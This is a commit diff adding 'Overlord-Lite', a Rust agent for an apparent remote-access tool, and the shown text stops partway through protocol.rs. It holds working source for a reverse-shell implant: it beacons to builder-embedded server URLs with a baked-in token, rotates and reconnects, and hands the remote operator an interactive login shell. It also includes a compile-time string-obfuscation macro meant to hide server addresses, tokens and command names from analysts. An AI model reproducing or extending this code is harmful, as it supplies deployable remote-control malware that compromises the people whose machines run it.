mess around with a rust agent version with just rev shell.

.gitignore

@@ -22,9 +22,11 @@ Overlord-Desktop/src/vendor/
 Overlord-Desktop/src-tauri/target/
 Overlord-Desktop/src-tauri/gen/
 Overlord-Desktop/src-tauri/Cargo.lock
+/Overlord-Lite/target/
 
 # Configuration
 config.json
+!plugins/rust-lite-builder/config.json
 
 # Docker
 .env

Overlord-Lite/Cargo.toml

@@ -0,0 +1,39 @@
+[package]
+name = "overlord-lite"
+version = "0.3.0"
+edition = "2024"
+rust-version = "1.88"
+license = "Apache-2.0"
+description = "Minimal Rust agent for authenticated Overlord sessions"
+
+[dependencies]
+anyhow = "1.0"
+base64 = "0.22"
+ed25519-dalek = { version = "2.2", features = ["rand_core"] }
+futures-util = "0.3"
+overlord-lite-string-obfuscator = { path = "string-obfuscator" }
+portable-pty = "0.9"
+rand_core = { version = "0.6", features = ["getrandom"] }
+rmp-serde = "1.3"
+rmpv = { version = "1.3", features = ["with-serde"] }
+rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }
+serde = { version = "1.0", features = ["derive"] }
+serde_bytes = "0.11"
+serde_json = "1.0"
+sha2 = "0.10"
+tokio = { version = "1.48", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
+tokio-tungstenite = { version = "0.28", default-features = false, features = ["connect", "handshake", "rustls-tls-webpki-roots"] }
+uuid = { version = "1.18", features = ["v4", "serde"] }
+
+[build-dependencies]
+serde_json = "1.0"
+
+[dev-dependencies]
+tempfile = "3.23"
+
+[profile.release]
+strip = true
+lto = true
+codegen-units = 1
+panic = "abort"
+opt-level = "z"

Overlord-Lite/README.md

@@ -0,0 +1,107 @@
+# Overlord Lite
+
+Overlord Lite is a deliberately small Rust agent that proves the Overlord wire
+protocol works independently of the full Go agent. It supports authenticated
+server sessions, TLS identity pinning, heartbeats, and reconnection. It does
+not advertise or execute remote commands beyond its interactive TTY console.
+
+## Supported
+
+- Agent-token authentication through `x-agent-token`
+- TLS 1.3-only encrypted transport, with public-root or pinned self-signed identities
+- Persistent Ed25519 identity and enrollment challenge signing
+- MessagePack protocol negotiation
+- Ping/pong heartbeat and reconnect/server rotation
+- Interactive TTY console sessions with resize support
+
+Plugins, desktop, file-manager, audio, webcam, persistence, update,
+and other full-agent commands are intentionally omitted.
+
+## Build
+
+Rust 1.88 or newer is required.
+
+```text
+cd Overlord-Lite
+cargo build --release
+```
+
+The output is `target/release/overlord-lite` (`overlord-lite.exe` on Windows).
+The release profile enables size optimization, LTO, symbol stripping, and
+abort-on-panic.
+
+String literals that should not appear in plaintext in the executable can use
+the local `obfstr!` procedural macro:
+
+```rust
+let header = overlord_lite::obfstr!("x-agent-token");
+```
+
+The macro encrypts the literal while compiling and returns a decrypted
+`String` only when the expression runs. Builder-embedded server URLs, agent
+tokens, build tags, TLS pins, and advertised Lite command names use it
+automatically. This is binary obfuscation rather than secret storage: because
+the executable must decrypt its own values, a determined analyst can still
+recover them at runtime.
+
+For Build-page integration, install `plugins/rust-lite-builder/rust-lite-builder.zip`
+through the Plugin Manager. The Agent Type selector will then offer **Rust
+Lite** and route selected targets through Cargo while retaining normal build
+permissions, history, downloads, hooks, and file-share upload behavior. Cargo
+and the requested Rust targets/linkers must be installed on the server host.
+
+## Run
+
+Configure the agent with the same token used by the server:
+
+```powershell
+$env:OVERLORD_SERVER = "wss://overlord.example.com:5173"
+$env:OVERLORD_AGENT_TOKEN = "your-agent-token"
+cargo run --release
+```
+
+Multiple servers may be comma-separated. Bare hosts default to `wss://`.
+
+For a local development server using a self-signed certificate:
+
+```powershell
+$env:OVERLORD_SERVER = "wss://localhost:5173"
+$env:OVERLORD_TLS_INSECURE_SKIP_VERIFY = "true"
+cargo run
+```
+
+Disabling certificate verification also permits plaintext `ws://`. Do not
+enable it for production deployments.
+
+Builder-produced binaries automatically embed the server's active TLS SPKI
+pin, so they securely accept its generated self-signed certificate without the
+development bypass. For manual builds, `OVERLORD_TLS_SPKI_PINS` accepts one or
+more comma-separated `sha256/<base64>` public-key pins.
+
+## Configuration
+
+| Variable | Default | Purpose |
+| --- | --- | --- |
+| `OVERLORD_SERVER` | `wss://127.0.0.1:5173` | One server, or a comma-separated rotation list |
+| `OVERLORD_AGENT_TOKEN` | empty | Shared server agent token |
+| `OVERLORD_BUILD_TAG` | compiled build tag | Runtime override for server build attribution |
+| `OVERLORD_TLS_SPKI_PINS` | compiled server pins | Comma-separated trusted server public-key pins |
+| `OVERLORD_TLS_INSECURE_SKIP_VERIFY` | `false` | Development-only TLS bypass |
+| `OVERLORD_LITE_STATE_DIR` | platform state directory | Persistent client ID and Ed25519 seed |
+| `OVERLORD_RECONNECT_DELAY_MS` | `5000` | Delay between connection attempts |
+| `OVERLORD_PING_INTERVAL_MS` | `30000` | Application heartbeat interval |
+
+The identity file is created once as `identity.json`. Keep it private: deleting
+it creates a new identity that must enroll again.
+
+The builder compiles `OVERLORD_LITE_DEFAULT_SERVER`,
+`OVERLORD_LITE_DEFAULT_AGENT_TOKEN`, and `OVERLORD_LITE_DEFAULT_BUILD_TAG` into
+the binary along with the server's TLS SPKI pins. Their corresponding runtime
+variables take precedence, so one binary can still be redirected deliberately
+after deployment.
+
+## Protocol compatibility
+
+`build.rs` reads `../protocol/wire-contract.json` during every build and
+generates the Lite client's protocol version from the canonical contract. The
+client advertises only the four version 1 console commands it implements.

Overlord-Lite/build.rs

@@ -0,0 +1,72 @@
+use std::{env, fs, path::PathBuf};
+
+use serde_json::Value;
+
+fn main() {
+    for name in [
+        "OVERLORD_LITE_DEFAULT_SERVER",
+        "OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
+        "OVERLORD_LITE_DEFAULT_BUILD_TAG",
+        "OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
+    ] {
+        println!("cargo:rerun-if-env-changed={name}");
+    }
+    let contract_path = PathBuf::from("../protocol/wire-contract.json");
+    println!("cargo:rerun-if-changed={}", contract_path.display());
+    let contract: Value = serde_json::from_slice(
+        &fs::read(&contract_path).expect("read protocol/wire-contract.json"),
+    )
+    .expect("parse protocol/wire-contract.json");
+
+    let protocol_version = contract["protocolVersion"]
+        .as_u64()
+        .expect("wire contract protocolVersion");
+    let mut generated = format!("pub const WIRE_PROTOCOL_VERSION: u16 = {protocol_version};\n");
+    for (name, env_name) in [
+        ("built_default_server", "OVERLORD_LITE_DEFAULT_SERVER"),
+        (
+            "built_default_agent_token",
+            "OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
+        ),
+        ("built_default_build_tag", "OVERLORD_LITE_DEFAULT_BUILD_TAG"),
+        (
+            "built_default_tls_spki_pins",
+            "OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
+        ),
+    ] {
+        let value = env::var(env_name).unwrap_or_default();
+        generated.push_str(&format!(
+            "pub fn {name}() -> String {{ crate::obfstr!({value:?}) }}\n"
+        ));
+    }
+    let commands = contract["commands"]
+        .as_array()
+        .expect("wire contract commands");
+    let default_version = contract["commandVersioning"]["defaultVersion"]
+        .as_u64()
+        .expect("wire contract default command version");
+    let lite_commands = [
+        "console_input",
+        "console_resize",
+        "console_start",
+        "console_stop",
+    ];
+    for command in lite_commands {
+        assert!(
+            commands.iter().any(|value| value.as_str() == Some(command)),
+            "Lite command {command} is missing from the wire contract"
+        );
+        assert_eq!(
+            default_version, 1,
+            "Lite console handlers implement command version 1"
+        );
+    }
+    generated.push_str("pub fn lite_command_version_support() -> [(String, u16, u16); 4] { [\n");
+    for command in lite_commands {
+        generated.push_str(&format!("    (crate::obfstr!({command:?}), 1, 1),\n"));
+    }
+    generated.push_str("] }\n");
+
+    let output = PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR")).join("wire_contract.rs");
+    fs::write(output, generated).expect("write generated Rust wire constants");
+}

Overlord-Lite/src/config.rs

@@ -0,0 +1,234 @@
+use std::{env, fmt, path::PathBuf, time::Duration};
+
+use anyhow::{Context, Result, bail};
+use base64::{Engine as _, engine::general_purpose::STANDARD};
+use tokio_tungstenite::tungstenite::http::Uri;
+
+use crate::{obfstr, protocol};
+
+#[derive(Clone, Debug)]
+pub struct Config {
+    pub servers: Vec<ServerUrl>,
+    pub agent_token: Option<String>,
+    pub build_tag: Option<String>,
+    pub insecure_tls: bool,
+    pub tls_spki_pins: Vec<[u8; 32]>,
+    pub state_dir: PathBuf,
+    pub reconnect_delay: Duration,
+    pub heartbeat_interval: Duration,
+}
+
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct ServerUrl {
+    normalized: String,
+    scheme: String,
+}
+
+impl ServerUrl {
+    pub fn parse(value: &str) -> Result<Self> {
+        parse_server_url(value)
+    }
+
+    pub fn as_str(&self) -> &str {
+        &self.normalized
+    }
+
+    pub fn scheme(&self) -> &str {
+        &self.scheme
+    }
+}
+
+impl fmt::Display for ServerUrl {
+    fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
+        formatter.write_str(&self.normalized)
+    }
+}
+
+impl Config {
+    pub fn from_env() -> Result<Self> {
+        let raw_servers = env::var(obfstr!("OVERLORD_SERVER")).unwrap_or_else(|_| {
+            let built_default = protocol::built_default_server();
+            if built_default.is_empty() {
+                obfstr!("wss://127.0.0.1:5173")
+            } else {
+                built_default
+            }
+        });
+        let servers = raw_servers
+            .split(',')
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+            .map(parse_server_url)
+            .collect::<Result<Vec<_>>>()?;
+        if servers.is_empty() {
+            bail!("OVERLORD_SERVER did not contain a server URL");
+        }
+
+        let insecure_tls = env_bool(&obfstr!("OVERLORD_TLS_INSECURE_SKIP_VERIFY"));
+        let raw_tls_spki_pins = env::var(obfstr!("OVERLORD_TLS_SPKI_PINS"))
+            .ok()
+            .filter(|value| !value.trim().is_empty())
+            .unwrap_or_else(protocol::built_default_tls_spki_pins);
+        let tls_spki_pins = parse_tls_spki_pins(&raw_tls_spki_pins)?;
+        if servers.iter().any(|url| url.scheme() == obfstr!("ws")) && !insecure_tls {
+            bail!("plaintext ws:// requires OVERLORD_TLS_INSECURE_SKIP_VERIFY=true");
+        }
+
+        Ok(Self {
+            servers,
+            agent_token: env::var(obfstr!("OVERLORD_AGENT_TOKEN"))
+                .ok()
+                .or_else(|| Some(protocol::built_default_agent_token()))
+                .filter(|value| !value.trim().is_empty()),
+            build_tag: env::var(obfstr!("OVERLORD_BUILD_TAG"))
+                .ok()
+                .or_else(|| Some(protocol::built_default_build_tag()))
+                .filter(|value| !value.trim().is_empty()),
+            insecure_tls,
+            tls_spki_pins,
+            state_dir: env::var_os(obfstr!("OVERLORD_LITE_STATE_DIR"))
+                .map(PathBuf::from)
+                .unwrap_or_else(default_state_dir),
+            reconnect_delay: env_duration(&obfstr!("OVERLORD_RECONNECT_DELAY_MS"), 5_000),
+            heartbeat_interval: env_duration(&obfstr!("OVERLORD_PING_INTERVAL_MS"), 30_000),
+        })
+    }
+}
+
+fn parse_tls_spki_pins(value: &str) -> Result<Vec<[u8; 32]>> {
+    value
+        .split(',')
+        .map(str::trim)
+        .filter(|pin| !pin.is_empty())
+        .map(|pin| {
+            let prefix = obfstr!("sha256/");
+            let encoded = pin.strip_prefix(&prefix).unwrap_or(pin);
+            let decoded = STANDARD
+                .decode(encoded)
+                .with_context(|| format!("invalid TLS SPKI pin {pin:?}"))?;
+            decoded
+                .try_into()
+                .map_err(|_| anyhow::anyhow!("invalid TLS SPKI pin {pin:?}: expected 32 bytes"))
+        })
+        .collect()
+}
+
+fn parse_server_url(value: &str) -> Result<ServerUrl> {
+    let separator = obfstr!("://");
+    let with_scheme = if value.contains(&separator) {
+        value.to_owned()
+    } else {
+        let mut server = obfstr!("wss://");
+        server.push_str(value);
+        server
+    };
+    let without_fragment = with_scheme.split('#').next().unwrap_or(&with_scheme);
+    let uri: Uri = without_fragment
+        .parse()
+        .with_context(|| format!("invalid server URL {value:?}"))?;
+    let input_scheme = uri
+        .scheme_str()
+        .ok_or_else(|| anyhow::anyhow!("server URL is missing a scheme"))?;
+    let scheme = if input_scheme == obfstr!("https") {
+        obfstr!("wss")
+    } else if input_scheme == obfstr!("http") {
+        obfstr!("ws")
+    } else if input_scheme == obfstr!("wss") || input_scheme == obfstr!("ws") {
+        input_scheme.to_owned()
+    } else {
+        bail!("unsupported server URL scheme {input_scheme:?}");
+    };
+    let authority = uri
+        .authority()
+        .ok_or_else(|| anyhow::anyhow!("server URL is missing a host"))?;
+    if authority.host().is_empty() || authority.as_str().contains('@') {
+        bail!("server URL has an invalid host");
+    }
+    Ok(ServerUrl {
+        normalized: format!("{scheme}://{authority}/"),
+        scheme,
+    })
+}
+
+fn env_bool(name: &str) -> bool {
+    env::var(name)
+        .map(|value| {
+            let normalized = value.trim().to_ascii_lowercase();
+            normalized == obfstr!("1")
+                || normalized == obfstr!("true")
+                || normalized == obfstr!("yes")
+                || normalized == obfstr!("on")
+        })
+        .unwrap_or(false)
+}
+
+fn env_duration(name: &str, default_ms: u64) -> Duration {
+    let ms = env::var(name)
+        .ok()
+        .and_then(|value| value.trim().parse::<u64>().ok())
+        .unwrap_or(default_ms);
+    Duration::from_millis(ms)
+}
+
+fn default_state_dir() -> PathBuf {
+    #[cfg(target_os = "windows")]
+    if let Some(root) = env::var_os(obfstr!("LOCALAPPDATA")) {
+        return PathBuf::from(root)
+            .join(obfstr!("Overlord"))
+            .join(obfstr!("Lite"));
+    }
+
+    #[cfg(target_os = "macos")]
+    if let Some(root) = env::var_os(obfstr!("HOME")) {
+        return PathBuf::from(root)
+            .join(obfstr!("Library"))
+            .join(obfstr!("Application Support"))
+            .join(obfstr!("Overlord Lite"));
+    }
+
+    if let Some(root) = env::var_os(obfstr!("XDG_STATE_HOME")) {
+        return PathBuf::from(root).join(obfstr!("overlord-lite"));
+    }
+    if let Some(root) = env::var_os(obfstr!("HOME")) {
+        return PathBuf::from(root)
+            .join(obfstr!(".local"))
+            .join(obfstr!("state"))
+            .join(obfstr!("overlord-lite"));
+    }
+    PathBuf::from(obfstr!(".overlord-lite"))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn normalizes_server_urls() {
+        assert_eq!(
+            ServerUrl::parse("example.com:5173").unwrap().as_str(),
+            "wss://example.com:5173/"
+        );
+        assert_eq!(
+            ServerUrl::parse("https://example.com/base")
+                .unwrap()
+                .as_str(),
+            "wss://example.com/"
+        );
+        assert_eq!(
+            ServerUrl::parse("http://[::1]:5173/path?ignored=true#fragment")
+                .unwrap()
+                .as_str(),
+            "ws://[::1]:5173/"
+        );
+        assert!(ServerUrl::parse("ftp://example.com").is_err());
+        assert!(ServerUrl::parse("wss://user@example.com").is_err());
+    }
+
+    #[test]
+    fn parses_prefixed_and_plain_spki_pins() {
+        let encoded = STANDARD.encode([0x42; 32]);
+        let pins = parse_tls_spki_pins(&format!("sha256/{encoded},{encoded}")).unwrap();
+        assert_eq!(pins, vec![[0x42; 32], [0x42; 32]]);
+        assert!(parse_tls_spki_pins("not-a-pin").is_err());
+    }
+}

Overlord-Lite/src/console.rs

@@ -0,0 +1,283 @@
+use std::{
+    collections::HashMap,
+    env,
+    io::{Read, Write},
+    sync::LazyLock,
+    thread,
+};
+
+use anyhow::{Context, Result, anyhow, bail};
+use portable_pty::{ChildKiller, CommandBuilder, MasterPty, PtySize, native_pty_system};
+use tokio::sync::mpsc::Sender;
+
+use crate::obfstr;
+use crate::protocol::{self, ConsoleOutput};
+
+const DEFAULT_COLS: u16 = 120;
+const DEFAULT_ROWS: u16 = 36;
+const MAX_DIMENSION: u16 = 1_000;
+static CONSOLE_OUTPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_output"));
+
+struct ConsoleSession {
+    master: Box<dyn MasterPty + Send>,
+    writer: Box<dyn Write + Send>,
+    killer: Box<dyn ChildKiller + Send + Sync>,
+}
+
+pub struct ConsoleHub {
+    sessions: HashMap<String, ConsoleSession>,
+    outbound: Sender<Vec<u8>>,
+}
+
+impl ConsoleHub {
+    pub fn new(outbound: Sender<Vec<u8>>) -> Self {
+        Self {
+            sessions: HashMap::new(),
+            outbound,
+        }
+    }
+
+    pub fn start(&mut self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
+        validate_session_id(session_id)?;
+        self.stop(session_id);
+
+        let size = terminal_size(cols, rows);
+        let pair = native_pty_system().openpty(size).context("open terminal")?;
+        let mut command = shell_command();
+        command.env(obfstr!("TERM"), obfstr!("xterm-256color"));
+        let child = pair
+            .slave
+            .spawn_command(command)
+            .context("start terminal shell")?;
+        drop(pair.slave);
+
+        let reader = pair
+            .master
+            .try_clone_reader()
+            .context("open terminal output")?;
+        let writer = pair.master.take_writer().context("open terminal input")?;
+        let killer = child.clone_killer();
+
+        spawn_output_forwarder(session_id.to_owned(), reader, child, self.outbound.clone());
+        self.sessions.insert(
+            session_id.to_owned(),
+            ConsoleSession {
+                master: pair.master,
+                writer,
+                killer,
+            },
+        );
+        Ok(())
+    }
+
+    pub fn write(&mut self, session_id: &str, data: &str) -> Result<()> {
+        let session = self
+            .sessions
+            .get_mut(session_id)
+            .ok_or_else(|| anyhow!("console session not found"))?;
+        session
+            .writer
+            .write_all(data.as_bytes())
+            .context("write terminal input")?;
+        session.writer.flush().context("flush terminal input")
+    }
+
+    pub fn resize(&self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
+        let session = self
+            .sessions
+            .get(session_id)
+            .ok_or_else(|| anyhow!("console session not found"))?;
+        session
+            .master
+            .resize(terminal_size(cols, rows))
+            .context("resize terminal")
+    }
+
+    pub fn stop(&mut self, session_id: &str) {
+        if let Some(mut session) = self.sessions.remove(session_id) {
+            let _ = session.killer.kill();
+        }
+    }
+
+    pub fn stop_all(&mut self) {
+        for (_, mut session) in self.sessions.drain() {
+            let _ = session.killer.kill();
+        }
+    }
+}
+
+impl Drop for ConsoleHub {
+    fn drop(&mut self) {
+        self.stop_all();
+    }
+}
+
+fn spawn_output_forwarder(
+    session_id: String,
+    mut reader: Box<dyn Read + Send>,
+    mut child: Box<dyn portable_pty::Child + Send + Sync>,
+    outbound: Sender<Vec<u8>>,
+) {
+    thread::spawn(move || {
+        let mut buffer = [0u8; 4096];
+        loop {
+            match reader.read(&mut buffer) {
+                Ok(0) => break,
+                Ok(size) => send_output(&outbound, &session_id, Some(&buffer[..size]), None, None),
+                Err(error) => {
+                    send_output(&outbound, &session_id, None, None, Some(&error.to_string()));
+                    break;
+                }
+            }
+        }
+
+        match child.wait() {
+            Ok(status) => send_output(
+                &outbound,
+                &session_id,
+                None,
+                Some(i32::try_from(status.exit_code()).unwrap_or(i32::MAX)),
+                None,
+            ),
+            Err(error) => send_output(&outbound, &session_id, None, None, Some(&error.to_string())),
+        }
+    });
+}
+
+fn send_output(
+    outbound: &Sender<Vec<u8>>,
+    session_id: &str,
+    data: Option<&[u8]>,
+    exit_code: Option<i32>,
+    error: Option<&str>,
+) {
+    let message = ConsoleOutput {
+        message_type: CONSOLE_OUTPUT.as_str(),
+        session_id,
+        data: data.map(serde_bytes::Bytes::new),
+        exit_code,
+        error,
+    };
+    if let Ok(encoded) = protocol::encode(&message) {
+        let _ = outbound.blocking_send(encoded);
+    }
+}
+
+fn shell_command() -> CommandBuilder {
+    if cfg!(windows) {
+        return CommandBuilder::new(
+            env::var_os(obfstr!("COMSPEC")).unwrap_or_else(|| obfstr!("cmd.exe").into()),
+        );
+    }
+
+    let shell = env::var_os(obfstr!("SHELL")).unwrap_or_else(|| {
+        if cfg!(target_os = "macos") {
+            obfstr!("/bin/zsh").into()
+        } else {
+            obfstr!("/bin/bash").into()
+        }
+    });
+    let mut command = CommandBuilder::new(shell);
+    command.arg(obfstr!("-l"));
+    command
+}
+
+fn validate_session_id(session_id: &str) -> Result<()> {
+    if session_id.is_empty() {
+        bail!("missing console session id");
+    }
+    if session_id.len() > 128 {
+        bail!("console session id is too long");
+    }
+    Ok(())
+}
+
+fn terminal_size(cols: i64, rows: i64) -> PtySize {
+    PtySize {
+        cols: dimension(cols, DEFAULT_COLS),
+        rows: dimension(rows, DEFAULT_ROWS),
+        pixel_width: 0,
+        pixel_height: 0,
+    }
+}
+
+fn dimension(value: i64, default: u16) -> u16 {
+    if value <= 0 {
+        default
+    } else {
+        u16::try_from(value)
+            .unwrap_or(MAX_DIMENSION)
+            .min(MAX_DIMENSION)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use std::time::{Duration, Instant};
+
+    #[test]
+    fn terminal_dimensions_are_defaulted_and_bounded() {
+        assert_eq!(
+            terminal_size(0, -1),
+            PtySize {
+                cols: 120,
+                rows: 36,
+                pixel_width: 0,
+                pixel_height: 0
+            }
+        );
+        assert_eq!(terminal_size(2_000, 50).cols, 1_000);
+        assert_eq!(terminal_size(80, 50).rows, 50);
+    }
+
+    #[test]
+    fn session_ids_are_required_and_bounded() {
+        assert!(validate_session_id("").is_err());
+        assert!(validate_session_id(&"x".repeat(129)).is_err());
+        assert!(validate_session_id("console-1").is_ok());
+    }
+
+    #[test]
+    fn terminal_streams_command_output() {
+        let (tx, mut rx) = tokio::sync::mpsc::channel(64);
+        let mut hub = ConsoleHub::new(tx);
+        hub.start("smoke", 80, 24).unwrap();
+        let input = if cfg!(windows) {
+            "\x1b[1;1Recho overlord-lite-tty\r\nexit\r\n"
+        } else {
+            "echo overlord-lite-tty\nexit\n"
+        };
+        hub.write("smoke", input).unwrap();
+
+        let deadline = Instant::now() + Duration::from_secs(10);
+        let mut output = Vec::new();
+        while Instant::now() < deadline {
+            match rx.try_recv() {
+                Ok(message) => {
+                    let decoded = protocol::decode(&message).unwrap();
+                    if let Some(rmpv::Value::Binary(data)) = protocol::field(&decoded, "data") {
+                        output.extend_from_slice(data);
+                        if String::from_utf8_lossy(&output).contains("overlord-lite-tty") {
+                            break;
+                        }
+                    }
+                    if protocol::integer_field(&decoded, "exitCode").is_some() {
+                        break;
+                    }
+                }
+                Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {
+                    thread::sleep(Duration::from_millis(10));
+                }
+                Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => break,
+            }
+        }
+
+        hub.stop_all();
+        assert!(
+            String::from_utf8_lossy(&output).contains("overlord-lite-tty"),
+            "terminal output did not contain the marker: {:?}",
+            String::from_utf8_lossy(&output)
+        );
+    }
+}

Overlord-Lite/src/identity.rs

@@ -0,0 +1,91 @@
+use std::{fs, path::Path};
+
+use anyhow::{Context, Result, bail};
+use base64::{Engine as _, engine::general_purpose::STANDARD};
+use ed25519_dalek::{Signer, SigningKey};
+use rand_core::OsRng;
+use serde::{Deserialize, Serialize};
+use sha2::{Digest, Sha256};
+use uuid::Uuid;
+
+#[derive(Debug)]
+pub struct Identity {
+    pub client_id: String,
+    signing_key: SigningKey,
+}
+
+#[derive(Serialize, Deserialize)]
+struct StoredIdentity {
+    client_id: String,
+    seed_base64: String,
+}
+
+impl Identity {
+    pub fn load_or_create(state_dir: &Path) -> Result<Self> {
+        fs::create_dir_all(state_dir)
+            .with_context(|| format!("create state directory {}", state_dir.display()))?;
+        let path = state_dir.join("identity.json");
+        if path.exists() {
+            let data = fs::read(&path).with_context(|| format!("read {}", path.display()))?;
+            let stored: StoredIdentity = serde_json::from_slice(&data)
+                .with_context(|| format!("parse {}", path.display()))?;
+            let seed = STANDARD
+                .decode(stored.seed_base64)
+                .context("decode identity seed")?;
+            let seed: [u8; 32] = seed
+                .try_into()
+                .map_err(|_| anyhow::anyhow!("identity seed must be 32 bytes"))?;
+            return Ok(Self {
+                client_id: stored.client_id,
+                signing_key: SigningKey::from_bytes(&seed),
+            });
+        }
+
+        let signing_key = SigningKey::generate(&mut OsRng);
+        let identity = Self {
+            client_id: Uuid::new_v4().to_string(),
+            signing_key,
+        };
+        let stored = StoredIdentity {
+            client_id: identity.client_id.clone(),
+            seed_base64: STANDARD.encode(identity.signing_key.to_bytes()),
+        };
+        let temp_path = state_dir.join("identity.json.tmp");
+        fs::write(&temp_path, serde_json::to_vec_pretty(&stored)?)
+            .with_context(|| format!("write {}", temp_path.display()))?;
+        set_private_permissions(&temp_path)?;
+        fs::rename(&temp_path, &path).with_context(|| format!("install {}", path.display()))?;
+        Ok(identity)
+    }
+
+    pub fn public_key_base64(&self) -> String {
+        STANDARD.encode(self.signing_key.verifying_key().as_bytes())
+    }
+
+    pub fn sign_base64(&self, nonce_base64: &str) -> Result<String> {
+        let nonce = STANDARD
+            .decode(nonce_base64)
+            .context("decode enrollment nonce")?;
+        if nonce.is_empty() {
+            bail!("enrollment nonce was empty");
+        }
+        Ok(STANDARD.encode(self.signing_key.sign(&nonce).to_bytes()))
+    }
+
+    pub fn fingerprint(&self) -> String {
+        let digest = Sha256::digest(self.signing_key.verifying_key().as_bytes());
+        digest.iter().map(|byte| format!("{byte:02x}")).collect()
+    }
+}
+
+#[cfg(unix)]
+fn set_private_permissions(path: &Path) -> Result<()> {
+    use std::os::unix::fs::PermissionsExt;
+    fs::set_permissions(path, fs::Permissions::from_mode(0o600))?;
+    Ok(())
+}
+
+#[cfg(not(unix))]
+fn set_private_permissions(_path: &Path) -> Result<()> {
+    Ok(())
+}

Overlord-Lite/src/lib.rs

@@ -0,0 +1,11 @@
+extern crate self as overlord_lite;
+
+pub use overlord_lite_string_obfuscator::obfstr;
+
+pub mod config;
+pub mod console;
+pub mod identity;
+pub mod obfuscation;
+pub mod protocol;
+pub mod session;
+pub mod tls;

Overlord-Lite/src/main.rs

@@ -0,0 +1,53 @@
+use anyhow::Result;
+use overlord_lite::{config::Config, identity::Identity, session};
+
+#[tokio::main]
+async fn main() -> Result<()> {
+    let config = Config::from_env()?;
+    let identity = Identity::load_or_create(&config.state_dir)?;
+
+    eprintln!(
+        "Overlord Lite {} starting as {} (identity {})",
+        env!("CARGO_PKG_VERSION"),
+        identity.client_id,
+        identity.fingerprint()
+    );
+    if config.insecure_tls {
+        eprintln!("WARNING: TLS certificate verification is disabled");
+    } else if !config.tls_spki_pins.is_empty() {
+        eprintln!(
+            "TLS server identity pinning enabled ({} trusted key{})",
+            config.tls_spki_pins.len(),
+            if config.tls_spki_pins.len() == 1 {
+                ""
+            } else {
+                "s"
+            },
+        );
+    }
+
+    let mut server_index = 0usize;
+    loop {
+        let server = &config.servers[server_index % config.servers.len()];
+        eprintln!("connecting to {server}");
+
+        tokio::select! {
+            result = session::run(&config, &identity, server) => {
+                match result {
+                    Ok(()) => eprintln!("session ended"),
+                    Err(error) => eprintln!("session error: {error:#}"),
+                }
+            }
+            _ = tokio::signal::ctrl_c() => {
+                eprintln!("shutdown requested");
+                return Ok(());
+            }
+        }
+
+        server_index = (server_index + 1) % config.servers.len();
+        tokio::select! {
+            _ = tokio::time::sleep(config.reconnect_delay) => {}
+            _ = tokio::signal::ctrl_c() => return Ok(()),
+        }
+    }
+}

Overlord-Lite/src/obfuscation.rs

@@ -0,0 +1,38 @@
+/// Reconstructs a string emitted by `obfstr!`.
+///
+/// `black_box` plus the non-inlined boundary keeps release LTO from replacing
+/// the call with a plaintext constant. This is binary obfuscation, not secret
+/// storage: a determined analyst can still recover strings from a running
+/// process or reverse the decoder.
+#[inline(never)]
+pub fn decrypt(encrypted: &[u8], seed: u64) -> String {
+    let encrypted = std::hint::black_box(encrypted);
+    let mut state = std::hint::black_box(seed | 1);
+    let plaintext = encrypted
+        .iter()
+        .map(|byte| byte ^ next_key_byte(&mut state))
+        .collect();
+    String::from_utf8(plaintext).expect("obfstr generated invalid UTF-8")
+}
+
+fn next_key_byte(state: &mut u64) -> u8 {
+    *state ^= *state >> 12;
+    *state ^= *state << 25;
+    *state ^= *state >> 27;
+    (state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
+}
+
+#[cfg(test)]
+mod tests {
+    use crate::obfstr;
+
+    #[test]
+    fn decrypts_compile_time_string() {
+        assert_eq!(
+            obfstr!("overlord-obfuscation-marker"),
+            "overlord-obfuscation-marker"
+        );
+        assert_eq!(obfstr!("Unicode: ☃"), "Unicode: ☃");
+        assert!(obfstr!("").is_empty());
+    }
+}

Overlord-Lite/src/protocol.rs

@@ -0,0 +1,140 @@
+use std::collections::BTreeMap;
+
+use anyhow::{Context, Result, anyhow};
+use rmpv::Value;
+use serde::Serialize;
+
+include!(concat!(env!("OUT_DIR"), "/wire_contract.rs"));
+
+#[derive(Clone, Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct CommandVersionRange {
+    pub min: u16,
+    pub max: u16,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct Hello<'a> {
+    #[serde(rename = "type")]
+    pub message_type: &'static str,
+    pub id: &'a str,
+    pub hwid: &'a str,
+    pub host: String,
+    pub os: &'static str,
+    pub arch: &'static str,
+    pub version: &'static str,
+    pub user: String,
+    pub monitors: u8,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub build_tag: Option<&'a str>,
+    pub public_key: &'a str,
+    pub signature: &'a str,
+    pub protocol_version: u16,
+    pub command_versions: BTreeMap<String, CommandVersionRange>,
+}
+
+#[derive(Debug, Serialize)]
+pub struct Ping {
+    #[serde(rename = "type")]
+    pub message_type: &'static str,
+    pub ts: i64,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct CommandResult<'a> {
+    #[serde(rename = "type")]
+    pub message_type: &'static str,
+    pub command_id: &'a str,
+    pub command_type: &'a str,
+    pub command_version: u16,
+    pub ok: bool,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub message: Option<&'a str>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub error_code: Option<&'a str>,
+}
+
+#[derive(Debug, Serialize)]
+#[serde(rename_all = "camelCase")]
+pub struct ConsoleOutput<'a> {
+    #[serde(rename = "type")]
